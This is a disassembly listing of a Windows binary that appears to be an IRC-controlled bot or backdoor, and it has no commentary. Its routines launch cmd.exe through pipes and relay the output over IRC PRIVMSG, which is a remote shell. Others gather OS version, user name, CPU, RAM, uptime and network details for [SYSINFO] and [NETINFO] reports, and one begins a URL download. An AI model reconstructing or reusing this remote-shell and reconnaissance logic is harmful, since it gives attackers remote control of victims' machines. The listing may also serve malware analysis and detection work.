		lea	eax, [ebp+var_334]
		push	offset dword_42CD08
		push	eax
		call	sub_416FB6
		add	esp, 0Ch
		cmp	[ebp+var_18], edi
		jnz	short loc_40B137
		push	edi
		lea	eax, [ebp+var_334]
		push	[ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_130]
		push	eax
		push	[ebp+var_134]
		call	sub_40D476
		add	esp, 14h

loc_40B137:				; CODE XREF: sub_40AF3D+1D8j
		lea	eax, [ebp+var_334]
		push	eax
		call	sub_40BD8D
		push	[ebp+var_20]
		call	sub_416D90
		pop	ecx
		pop	ecx
		push	edi
		call	dword_423054	; ExitThread
sub_40AF3D	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40B154	proc near		; CODE XREF: sub_40B184+2Ap
					; sub_40B1BC+7Ep ...
		mov	eax, dword_43EE64
		push	esi
		mov	esi, dword_423078
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40B168
		push	eax
		call	esi	; CloseHandle

loc_40B168:				; CODE XREF: sub_40B154+Fj
		mov	eax, dword_43EE6C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40B175
		push	eax
		call	esi	; CloseHandle

loc_40B175:				; CODE XREF: sub_40B154+1Cj
		mov	eax, dword_43EE60
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40B182
		push	eax
		call	esi	; CloseHandle

loc_40B182:				; CODE XREF: sub_40B154+29j
		pop	esi
		retn
sub_40B154	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B184	proc near		; CODE XREF: sub_40C16F+14Ap
					; sub_40EC43+484Fp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_0]
		call	sub_4177B0
		pop	ecx
		mov	[ebp+var_4], eax
		lea	ecx, [ebp+var_4]
		push	0
		push	ecx
		push	eax
		push	[ebp+arg_0]
		push	dword_43EE68
		call	dword_42307C	; WriteFile
		test	eax, eax
		jnz	short loc_40B1B7
		call	sub_40B154
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------

loc_40B1B7:				; CODE XREF: sub_40B184+28j
		xor	eax, eax
		inc	eax
		leave
		retn
sub_40B184	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B1BC	proc near		; CODE XREF: sub_40B243+D3p
					; sub_40B243+F2p ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	offset byte_43BCE8
		push	[ebp+arg_4]
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40B1FF
		push	7D0h
		call	dword_423064	; Sleep
		push	[ebp+arg_8]
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	offset aPrivmsgSS ; "PRIVMSG %s	:%s\r"
		push	eax
		call	sub_416FB6
		add	esp, 10h
		jmp	short loc_40B216
; ---------------------------------------------------------------------------

loc_40B1FF:				; CODE XREF: sub_40B1BC+1Aj
		push	[ebp+arg_8]
		lea	eax, [ebp+var_200]
		push	offset aS_3	; "%s"
		push	eax
		call	sub_416FB6
		add	esp, 0Ch

loc_40B216:				; CODE XREF: sub_40B1BC+41j
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_4177B0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_43EB74	; send
		test	eax, eax
		jg	short loc_40B23F
		call	sub_40B154

loc_40B23F:				; CODE XREF: sub_40B1BC+7Cj
		xor	eax, eax
		leave
		retn
sub_40B1BC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B243	proc near		; DATA XREF: sub_40B398+170o

var_20C		= byte ptr -20Ch
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 20Ch
		push	ebx
		push	esi
		push	edi
		mov	esi, 200h
		xor	edi, edi
		mov	ebx, offset dword_43EE70

loc_40B25B:				; CODE XREF: sub_40B243+79j
					; sub_40B243+DBj
		push	esi
		lea	eax, [ebp+var_20C]
		push	edi
		push	eax
		call	sub_417030
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	edi
		push	edi
		push	eax
		lea	eax, [ebp+var_20C]
		push	esi
		push	eax
		push	dword_43EE64
		call	dword_423134	; PeekNamedPipe
		test	eax, eax
		jz	loc_40B329
		cmp	[ebp+var_4], edi
		jnz	short loc_40B2BE
		lea	eax, [ebp+var_8]
		push	eax
		push	dword_43EE60
		call	dword_423130	; GetExitCodeProcess
		test	eax, eax
		jz	short loc_40B2B4
		cmp	[ebp+var_8], 103h
		jnz	loc_40B34D

loc_40B2B4:				; CODE XREF: sub_40B243+62j
		push	0Ah
		call	dword_423064	; Sleep
		jmp	short loc_40B25B
; ---------------------------------------------------------------------------

loc_40B2BE:				; CODE XREF: sub_40B243+4Ej
		xor	eax, eax
		cmp	[ebp+var_4], edi
		jbe	short loc_40B2D5

loc_40B2C5:				; CODE XREF: sub_40B243+90j
		cmp	[ebp+eax+var_20C], 0Ah
		jz	short loc_40B323
		inc	eax
		cmp	eax, [ebp+var_4]
		jb	short loc_40B2C5

loc_40B2D5:				; CODE XREF: sub_40B243+80j
		mov	[ebp+var_4], esi

loc_40B2D8:				; CODE XREF: sub_40B243+E4j
		push	esi
		lea	eax, [ebp+var_20C]
		push	edi
		push	eax
		call	sub_417030
		add	esp, 0Ch
		lea	eax, [ebp+var_C]
		push	edi
		push	eax
		push	[ebp+var_4]
		lea	eax, [ebp+var_20C]
		push	eax
		push	dword_43EE64
		call	dword_423074	; ReadFile
		test	eax, eax
		jz	short loc_40B375
		lea	eax, [ebp+var_20C]
		push	eax
		push	ebx
		push	dword_43EEA4
		call	sub_40B1BC
		add	esp, 0Ch
		jmp	loc_40B25B
; ---------------------------------------------------------------------------

loc_40B323:				; CODE XREF: sub_40B243+8Aj
		inc	eax
		mov	[ebp+var_4], eax
		jmp	short loc_40B2D8
; ---------------------------------------------------------------------------

loc_40B329:				; CODE XREF: sub_40B243+45j
		push	offset dword_42CE04
		push	ebx
		push	dword_43EEA4
		call	sub_40B1BC
		push	[ebp+arg_0]
		call	sub_416D90
		add	esp, 10h
		push	1
		call	dword_423054	; ExitThread

loc_40B34D:				; CODE XREF: sub_40B243+6Bj
		call	sub_40B154
		push	offset dword_42CDCC
		push	ebx
		push	dword_43EEA4
		call	sub_40B1BC
		push	[ebp+arg_0]
		call	sub_416D90
		add	esp, 10h
		push	edi
		call	dword_423054	; ExitThread

loc_40B375:				; CODE XREF: sub_40B243+C3j
		push	offset dword_42CD8C
		push	ebx
		push	dword_43EEA4
		call	sub_40B1BC
		push	[ebp+arg_0]
		call	sub_416D90
		add	esp, 10h
		push	edi
		call	dword_423054	; ExitThread
sub_40B243	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B398	proc near		; CODE XREF: sub_40C16F+99p
					; sub_40EC43+5724p

var_378		= byte ptr -378h
var_178		= byte ptr -178h
var_74		= dword	ptr -74h
var_48		= dword	ptr -48h
var_44		= word ptr -44h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= byte ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 378h
		push	ebx
		push	esi
		push	edi
		call	sub_40B154
		xor	esi, esi
		lea	eax, [ebp+var_178]
		push	esi
		push	eax
		push	104h
		push	esi
		push	offset aCmd_exe	; "cmd.exe"
		push	esi
		call	dword_43EBDC	; SearchPathA
		test	eax, eax
		jz	loc_40B492
		lea	eax, [ebp+var_1C]
		mov	edi, dword_423140
		push	esi
		push	eax
		lea	eax, [ebp+var_C]
		xor	ebx, ebx
		push	eax
		lea	eax, [ebp+var_10]
		inc	ebx
		push	eax
		mov	[ebp+var_1C], 0Ch
		mov	[ebp+var_14], ebx
		mov	[ebp+var_18], esi
		call	edi	; CreatePipe
		test	eax, eax
		jz	loc_40B492
		lea	eax, [ebp+var_1C]
		push	esi
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		call	edi	; CreatePipe
		test	eax, eax
		jz	loc_40B492
		mov	edi, dword_42313C
		push	3
		push	esi
		push	esi
		push	offset dword_43EE68
		call	edi	; GetCurrentProcess
		push	eax
		push	[ebp+var_8]
		call	edi	; GetCurrentProcess
		push	eax
		call	dword_423138	; DuplicateHandle
		test	eax, eax
		jz	short loc_40B492
		push	10h
		lea	eax, [ebp+var_2C]
		push	esi
		push	eax
		call	sub_417030
		push	44h
		lea	eax, [ebp+var_74]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_417030
		mov	eax, [ebp+var_4]
		add	esp, 18h
		mov	[ebp+var_3C], eax
		mov	eax, [ebp+var_C]
		mov	[ebp+var_38], eax
		mov	[ebp+var_34], eax
		lea	eax, [ebp+var_2C]
		mov	[ebp+var_74], edi
		push	eax
		lea	eax, [ebp+var_74]
		push	eax
		push	esi
		push	esi
		push	esi
		push	ebx
		push	esi
		mov	ebx, offset byte_43BCE8
		push	esi
		lea	eax, [ebp+var_178]
		push	ebx
		push	eax
		mov	[ebp+var_48], 101h
		mov	[ebp+var_44], si
		call	dword_423120	; CreateProcessA
		test	eax, eax
		jnz	short loc_40B49A

loc_40B492:				; CODE XREF: sub_40B398+2Fj
					; sub_40B398+5Cj ...
		or	eax, 0FFFFFFFFh
		jmp	loc_40B548
; ---------------------------------------------------------------------------

loc_40B49A:				; CODE XREF: sub_40B398+F8j
		push	[ebp+var_4]
		mov	edi, dword_423078
		call	edi	; CloseHandle
		mov	eax, [ebp+var_10]
		push	[ebp+var_28]
		mov	dword_43EE64, eax
		mov	eax, [ebp+var_8]
		mov	dword_43EE6C, eax
		mov	eax, [ebp+var_2C]
		mov	dword_43EE60, eax
		call	edi	; CloseHandle
		mov	eax, [ebp+arg_0]
		cmp	[ebp+arg_4], esi
		mov	dword_43EEA4, eax
		jz	short loc_40B4D4
		push	[ebp+arg_4]
		jmp	short loc_40B4D5
; ---------------------------------------------------------------------------

loc_40B4D4:				; CODE XREF: sub_40B398+135j
		push	ebx

loc_40B4D5:				; CODE XREF: sub_40B398+13Aj
		push	offset dword_43EE70
		call	sub_416FB6
		pop	ecx
		pop	ecx
		push	esi
		push	7
		push	offset dword_42CE8C
		call	sub_416A7A
		mov	edi, eax
		mov	ecx, [ebp+var_24]
		imul	edi, 234h
		add	esp, 0Ch
		mov	dword_444570[edi], ecx
		lea	ecx, [ebp+var_30]
		push	ecx
		push	esi
		push	eax
		push	offset sub_40B243
		push	esi
		push	esi
		call	dword_4230A0	; CreateThread
		cmp	eax, esi
		mov	dword_44457C[edi], eax
		jnz	short loc_40B546
		call	dword_42308C	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_378]
		push	offset dword_42CE48
		push	eax
		call	sub_416FB6
		lea	eax, [ebp+var_378]
		push	eax
		call	sub_40BD8D
		add	esp, 10h

loc_40B546:				; CODE XREF: sub_40B398+185j
		xor	eax, eax

loc_40B548:				; CODE XREF: sub_40B398+FDj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40B398	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B54D	proc near		; CODE XREF: sub_406F62+74p
					; sub_40B6ED+217p ...

arg_0		= dword	ptr  4

		push	esi
		push	edi
		call	dword_423058	; GetTickCount
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		xor	edx, edx
		mov	ecx, 15180h
		mov	esi, 0E10h
		push	3Ch
		pop	edi
		sub	eax, [esp+8+arg_0]
		div	ecx
		mov	ecx, eax
		mov	eax, edx
		xor	edx, edx
		div	esi
		mov	esi, eax
		mov	eax, edx
		xor	edx, edx
		div	edi
		push	eax
		push	esi
		push	ecx
		push	offset aDdDhDm	; "%dd %dh %dm"
		mov	esi, offset dword_43EEA8
		push	32h
		push	esi
		call	sub_41752A
		add	esp, 18h
		mov	eax, esi
		pop	edi
		pop	esi
		retn
sub_40B54D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B5A0	proc near		; CODE XREF: sub_408E7C+24p

var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_84		= dword	ptr -84h

		push	ebp
		mov	ebp, esp
		sub	esp, 94h
		lea	eax, [ebp+var_94]
		push	esi
		push	eax
		xor	esi, esi
		mov	[ebp+var_94], 94h
		call	dword_423144	; GetVersionExA
		test	eax, eax
		jz	short loc_40B632
		cmp	[ebp+var_90], 4
		jnz	short loc_40B608
		cmp	[ebp+var_8C], esi
		jnz	short loc_40B5F0
		cmp	[ebp+var_84], 1
		jnz	short loc_40B5E2
		inc	esi

loc_40B5E2:				; CODE XREF: sub_40B5A0+3Fj
		cmp	[ebp+var_84], 2
		jnz	short loc_40B632
		xor	esi, esi
		inc	esi
		jmp	short loc_40B632
; ---------------------------------------------------------------------------

loc_40B5F0:				; CODE XREF: sub_40B5A0+36j
		cmp	[ebp+var_8C], 0Ah
		jnz	short loc_40B5FD

loc_40B5F9:				; CODE XREF: sub_40B5A0+77j
		push	2
		jmp	short loc_40B631
; ---------------------------------------------------------------------------

loc_40B5FD:				; CODE XREF: sub_40B5A0+57j
		cmp	[ebp+var_8C], 5Ah
		jnz	short loc_40B632
		jmp	short loc_40B622
; ---------------------------------------------------------------------------

loc_40B608:				; CODE XREF: sub_40B5A0+2Ej
		cmp	[ebp+var_90], 5
		jnz	short loc_40B632
		cmp	[ebp+var_8C], esi
		jz	short loc_40B5F9
		cmp	[ebp+var_8C], 1
		jnz	short loc_40B626

loc_40B622:				; CODE XREF: sub_40B5A0+66j
		push	3
		jmp	short loc_40B631
; ---------------------------------------------------------------------------

loc_40B626:				; CODE XREF: sub_40B5A0+80j
		cmp	[ebp+var_8C], 2
		jnz	short loc_40B632
		push	7

loc_40B631:				; CODE XREF: sub_40B5A0+5Bj
					; sub_40B5A0+84j
		pop	esi

loc_40B632:				; CODE XREF: sub_40B5A0+25j
					; sub_40B5A0+49j ...
		mov	eax, esi
		pop	esi
		leave
		retn
sub_40B5A0	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B637	proc near		; CODE XREF: sub_40B6ED+290p
		push	ebx
		push	esi
		push	edi
		mov	edi, 0F4240h

loc_40B63F:				; CODE XREF: sub_40B637+2Fj
					; sub_40B637+35j
		rdtsc
		push	3E8h
		mov	ebx, edx
		mov	esi, eax
		call	dword_423064	; Sleep
		rdtsc
		sub	eax, esi
		push	0
		sbb	edx, ebx
		push	edi
		push	edx
		push	eax
		call	sub_418F50
		mov	esi, edx
		mov	ebx, eax
		test	esi, esi
		ja	short loc_40B63F
		jb	short loc_40B66E
		cmp	ebx, edi
		ja	short loc_40B63F

loc_40B66E:				; CODE XREF: sub_40B637+31j
		push	0
		push	64h
		push	esi
		push	ebx
		call	sub_418ED0
		mov	ecx, edx
		push	64h
		xor	edx, edx
		mov	edi, eax
		test	ecx, ecx
		pop	eax
		ja	short loc_40B6E1
		jb	short loc_40B68D
		cmp	edi, 50h
		jnb	short loc_40B692

loc_40B68D:				; CODE XREF: sub_40B637+4Fj
		push	4Bh
		xor	edx, edx
		pop	eax

loc_40B692:				; CODE XREF: sub_40B637+54j
		test	ecx, ecx
		ja	short loc_40B6E1
		jb	short loc_40B69D
		cmp	edi, 47h
		jnb	short loc_40B6A2

loc_40B69D:				; CODE XREF: sub_40B637+5Fj
		push	42h
		xor	edx, edx
		pop	eax

loc_40B6A2:				; CODE XREF: sub_40B637+64j
		test	ecx, ecx
		ja	short loc_40B6E1
		jb	short loc_40B6AD
		cmp	edi, 37h
		jnb	short loc_40B6B2

loc_40B6AD:				; CODE XREF: sub_40B637+6Fj
		push	32h
		xor	edx, edx
		pop	eax

loc_40B6B2:				; CODE XREF: sub_40B637+74j
		test	ecx, ecx
		ja	short loc_40B6E1
		jb	short loc_40B6BD
		cmp	edi, 26h
		jnb	short loc_40B6C2

loc_40B6BD:				; CODE XREF: sub_40B637+7Fj
		push	21h
		xor	edx, edx
		pop	eax

loc_40B6C2:				; CODE XREF: sub_40B637+84j
		test	ecx, ecx
		ja	short loc_40B6E1
		jb	short loc_40B6CD
		cmp	edi, 1Eh
		jnb	short loc_40B6D2

loc_40B6CD:				; CODE XREF: sub_40B637+8Fj
		push	19h
		xor	edx, edx
		pop	eax

loc_40B6D2:				; CODE XREF: sub_40B637+94j
		test	ecx, ecx
		ja	short loc_40B6E1
		jb	short loc_40B6DD
		cmp	edi, 0Ah
		jnb	short loc_40B6E1

loc_40B6DD:				; CODE XREF: sub_40B637+9Fj
		xor	eax, eax
		xor	edx, edx

loc_40B6E1:				; CODE XREF: sub_40B637+4Dj
					; sub_40B637+5Dj ...
		sub	eax, edi
		pop	edi
		sbb	edx, ecx
		add	eax, ebx
		adc	edx, esi
		pop	esi
		pop	ebx
		retn
sub_40B637	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B6ED	proc near		; CODE XREF: sub_40EC43+59A0p

var_968		= byte ptr -968h
var_7E8		= byte ptr -7E8h
var_668		= byte ptr -668h
var_5E8		= byte ptr -5E8h
var_568		= byte ptr -568h
var_4E8		= byte ptr -4E8h
var_3E4		= byte ptr -3E4h
var_2E8		= byte ptr -2E8h
var_25C		= word ptr -25Ch
var_25A		= byte ptr -25Ah
var_15C		= byte ptr -15Ch
var_114		= byte ptr -114h
var_CC		= dword	ptr -0CCh
var_C8		= dword	ptr -0C8h
var_C4		= dword	ptr -0C4h
var_C0		= dword	ptr -0C0h
var_BC		= dword	ptr -0BCh
var_B8		= byte ptr -0B8h
var_38		= byte ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 968h
		push	ebx
		push	esi
		lea	eax, [ebp+var_CC]
		push	edi
		push	eax
		mov	[ebp+var_4], offset byte_43BCE8
		mov	[ebp+var_CC], 94h
		call	dword_423144	; GetVersionExA
		xor	ebx, ebx
		cmp	[ebp+var_C8], 4
		jnz	short loc_40B774
		cmp	[ebp+var_C4], ebx
		jnz	short loc_40B750
		cmp	[ebp+var_BC], 1
		jnz	short loc_40B73A
		mov	[ebp+var_4], offset a95	; "95"

loc_40B73A:				; CODE XREF: sub_40B6ED+44j
		cmp	[ebp+var_BC], 2
		jnz	loc_40B7EF
		mov	[ebp+var_4], offset aNt	; "NT"
		jmp	short loc_40B7C0
; ---------------------------------------------------------------------------

loc_40B750:				; CODE XREF: sub_40B6ED+3Bj
		cmp	[ebp+var_C4], 0Ah
		jnz	short loc_40B762
		mov	[ebp+var_4], offset a98	; "98"
		jmp	short loc_40B7B7
; ---------------------------------------------------------------------------

loc_40B762:				; CODE XREF: sub_40B6ED+6Aj
		cmp	[ebp+var_C4], 5Ah
		jnz	short loc_40B7B0
		mov	[ebp+var_4], offset aMe	; "ME"
		jmp	short loc_40B7B7
; ---------------------------------------------------------------------------

loc_40B774:				; CODE XREF: sub_40B6ED+33j
		cmp	[ebp+var_C8], 5
		jnz	short loc_40B7B0
		cmp	[ebp+var_C4], ebx
		jnz	short loc_40B78E
		mov	[ebp+var_4], offset a2k	; "2K"
		jmp	short loc_40B7B7
; ---------------------------------------------------------------------------

loc_40B78E:				; CODE XREF: sub_40B6ED+96j
		cmp	[ebp+var_C4], 1
		jnz	short loc_40B7A0
		mov	[ebp+var_4], offset aXp	; "XP"
		jmp	short loc_40B7B7
; ---------------------------------------------------------------------------

loc_40B7A0:				; CODE XREF: sub_40B6ED+A8j
		cmp	[ebp+var_C4], 2
		mov	[ebp+var_4], offset a2003 ; "2003"
		jz	short loc_40B7B7

loc_40B7B0:				; CODE XREF: sub_40B6ED+7Cj
					; sub_40B6ED+8Ej
		mov	[ebp+var_4], offset dword_42CFD8

loc_40B7B7:				; CODE XREF: sub_40B6ED+73j
					; sub_40B6ED+85j ...
		cmp	[ebp+var_BC], 2
		jnz	short loc_40B7EF

loc_40B7C0:				; CODE XREF: sub_40B6ED+61j
		cmp	[ebp+var_B8], bl
		jz	short loc_40B7EF
		lea	eax, [ebp+var_B8]
		push	eax
		lea	eax, [ebp+var_2E8]
		push	[ebp+var_4]
		push	offset dword_42CFD0
		push	eax
		call	sub_416FB6
		lea	eax, [ebp+var_2E8]
		add	esp, 10h
		mov	[ebp+var_4], eax

loc_40B7EF:				; CODE XREF: sub_40B6ED+54j
					; sub_40B6ED+D1j ...
		mov	ax, word_42CFCC
		push	3Fh
		mov	[ebp+var_25C], ax
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_25A]
		rep stosd
		stosw
		mov	eax, dword_43EA10
		mov	[ebp+var_8], 100h
		cmp	eax, ebx
		jz	short loc_40B828
		lea	ecx, [ebp+var_8]
		push	ecx
		lea	ecx, [ebp+var_25C]
		push	ecx
		call	eax	; GetUserNameA

loc_40B828:				; CODE XREF: sub_40B6ED+12Cj
		push	[ebp+arg_4]
		call	sub_40AD08
		pop	ecx
		push	eax
		call	dword_43EB64	; inet_addr
		mov	[ebp+var_C], eax
		push	2
		lea	eax, [ebp+var_C]
		push	4
		push	eax
		call	dword_43EADC	; gethostbyaddr
		cmp	eax, ebx
		jz	short loc_40B851
		push	dword ptr [eax]
		jmp	short loc_40B856
; ---------------------------------------------------------------------------

loc_40B851:				; CODE XREF: sub_40B6ED+15Ej
		push	offset aCouldnTResolve ; "couldn't resolve host"

loc_40B856:				; CODE XREF: sub_40B6ED+162j
		lea	eax, [ebp+var_3E4]
		push	eax
		call	sub_416FB6
		pop	ecx
		lea	eax, [ebp+var_4E8]
		pop	ecx
		push	104h
		push	eax
		call	dword_423068	; GetSystemDirectoryA
		lea	eax, [ebp+var_114]
		push	46h
		push	eax
		push	offset aDdMmmYyyy ; "dd:MMM:yyyy"
		push	ebx
		mov	esi, 409h
		push	ebx
		push	esi
		call	dword_42309C	; GetDateFormatA
		lea	eax, [ebp+var_15C]
		push	46h
		push	eax
		push	offset aHhMmSs	; "HH:mm:ss"
		push	ebx
		push	ebx
		push	esi
		call	dword_423098	; GetTimeFormatA
		push	20h
		lea	eax, [ebp+var_38]
		push	ebx
		push	eax
		call	sub_417030
		add	esp, 0Ch
		lea	eax, [ebp+var_38]
		push	eax
		call	dword_423148	; GlobalMemoryStatus
		push	ebx
		push	ebx
		lea	eax, [ebp+var_18]
		push	ebx
		push	eax
		lea	eax, [ebp+var_4E8]
		push	eax
		call	sub_418FB8
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_968]
		push	eax
		call	sub_40CF32
		push	60h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_7E8]
		rep movsd
		push	60h
		lea	esi, [ebp+var_7E8]
		pop	ecx
		lea	edi, [ebp+var_668]
		rep movsd
		push	ebx
		call	sub_40B54D
		add	esp, 20h
		push	eax
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_114]
		push	eax
		lea	eax, [ebp+var_25C]
		push	eax
		push	[ebp+arg_4]
		call	sub_40AD08
		pop	ecx
		push	eax
		lea	eax, [ebp+var_3E4]
		push	eax
		lea	eax, [ebp+var_4E8]
		push	eax
		lea	eax, [ebp+var_5E8]
		push	[ebp+var_C0]
		push	[ebp+var_C4]
		push	[ebp+var_C8]
		push	[ebp+var_4]
		push	eax
		lea	eax, [ebp+var_568]
		push	eax
		mov	eax, [ebp+var_2C]
		shr	eax, 0Ah
		push	ebx
		push	eax
		call	sub_40CE23
		pop	ecx
		pop	ecx
		push	eax
		mov	eax, [ebp+var_30]
		shr	eax, 0Ah
		push	ebx
		push	eax
		call	sub_40CE23
		pop	ecx
		pop	ecx
		push	eax
		call	sub_40B637
		push	edx
		push	eax
		push	offset aSysinfoCpuI64u ; "[SYSINFO]: [CPU]: %I64uMHz. [RAM]: %sKB"...
		push	200h
		push	[ebp+arg_0]
		call	sub_41752A
		mov	eax, [ebp+arg_0]
		add	esp, 50h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40B6ED	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B9A1	proc near		; CODE XREF: sub_40EC43+450Ep
					; sub_40EC43+59CEp

var_8C		= byte ptr -8Ch
var_C		= byte ptr -0Ch
var_8		= byte ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8Ch
		push	esi
		mov	esi, 80h
		push	esi
		lea	eax, [ebp+var_8C]
		push	0
		push	eax
		call	sub_417030
		add	esp, 0Ch
		cmp	dword_43EC08, 0
		jnz	short loc_40BA15
		push	0
		lea	eax, [ebp+var_8C]
		push	esi
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	dword_43E9F4	; InternetGetConnectedStateEx
		test	eax, eax
		jnz	short loc_40B9F6
		lea	eax, [ebp+var_8C]
		push	offset dword_42D04C
		push	eax
		call	sub_416FB6
		pop	ecx
		pop	ecx

loc_40B9F6:				; CODE XREF: sub_40B9A1+40j
		test	[ebp+var_C], 1
		lea	eax, [ebp+var_8]
		jz	short loc_40BA0E
		push	offset dword_42D044

loc_40BA04:				; CODE XREF: sub_40B9A1+72j
		push	eax
		call	sub_416FB6
		pop	ecx
		pop	ecx
		jmp	short loc_40BA34
; ---------------------------------------------------------------------------

loc_40BA0E:				; CODE XREF: sub_40B9A1+5Cj
		push	offset dword_42D040
		jmp	short loc_40BA04
; ---------------------------------------------------------------------------

loc_40BA15:				; CODE XREF: sub_40B9A1+28j
		mov	esi, offset off_42D03C
		lea	eax, [ebp+var_8]
		push	esi
		push	eax
		call	sub_416FB6
		lea	eax, [ebp+var_8C]
		push	esi
		push	eax
		call	sub_416FB6
		add	esp, 10h

loc_40BA34:				; CODE XREF: sub_40B9A1+6Bj
		push	[ebp+arg_4]
		push	[ebp+arg_8]
		call	sub_40AD08
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		push	offset aNetinfoTypeSS_ ; "[NETINFO]: [Type]: %s	(%s). [IP Address"...
		push	200h
		push	[ebp+arg_0]
		call	sub_41752A
		mov	eax, [ebp+arg_0]
		add	esp, 1Ch
		pop	esi
		leave
		retn
sub_40B9A1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BA67	proc near		; DATA XREF: sub_40EC43+4981o

var_65C		= byte ptr -65Ch
var_55C		= byte ptr -55Ch
var_35C		= dword	ptr -35Ch
var_358		= byte ptr -358h
var_2D8		= byte ptr -2D8h
var_258		= byte ptr -258h
var_1D8		= dword	ptr -1D8h
var_1D4		= dword	ptr -1D4h
var_1D0		= dword	ptr -1D0h
var_1C8		= byte ptr -1C8h
var_148		= byte ptr -148h
var_C8		= byte ptr -0C8h
var_48		= dword	ptr -48h
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= word ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 65Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	65h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_35C]
		rep movsd
		xor	esi, esi
		mov	edi, 80h
		inc	esi
		xor	ebx, ebx
		mov	[eax+190h], esi
		push	edi
		lea	eax, [ebp+var_148]
		push	ebx
		push	eax
		mov	[ebp+var_C], ebx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_8], offset asc_42D1A8 ; "*/*"
		call	sub_417030
		push	edi
		lea	eax, [ebp+var_1C8]
		push	ebx
		push	eax
		call	sub_417030
		push	edi
		lea	eax, [ebp+var_C8]
		push	ebx
		push	eax
		call	sub_417030
		push	100h
		lea	eax, [ebp+var_65C]
		push	ebx
		push	eax
		call	sub_417030
		push	3Ch
		lea	eax, [ebp+var_48]
		pop	edi
		push	edi
		push	ebx
		push	eax
		call	sub_417030
		add	esp, 3Ch
		lea	eax, [ebp+var_48]
		mov	[ebp+var_48], edi
		mov	[ebp+var_34], esi
		push	eax
		lea	eax, [ebp+var_358]
		push	ebx
		push	eax
		mov	[ebp+var_28], esi
		mov	[ebp+var_20], esi
		mov	[ebp+var_18], esi
		call	sub_4177B0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_358]
		push	eax
		call	dword_43EA2C	; InternetCrackUrlA
		test	eax, eax
		jz	loc_40BC07
		cmp	[ebp+var_34], ebx
		jbe	short loc_40BB3E
		push	[ebp+var_34]
		lea	eax, [ebp+var_148]
		push	[ebp+var_38]
		push	eax
		call	sub_418910
		add	esp, 0Ch

loc_40BB3E:				; CODE XREF: sub_40BA67+C0j
		cmp	[ebp+var_28], ebx
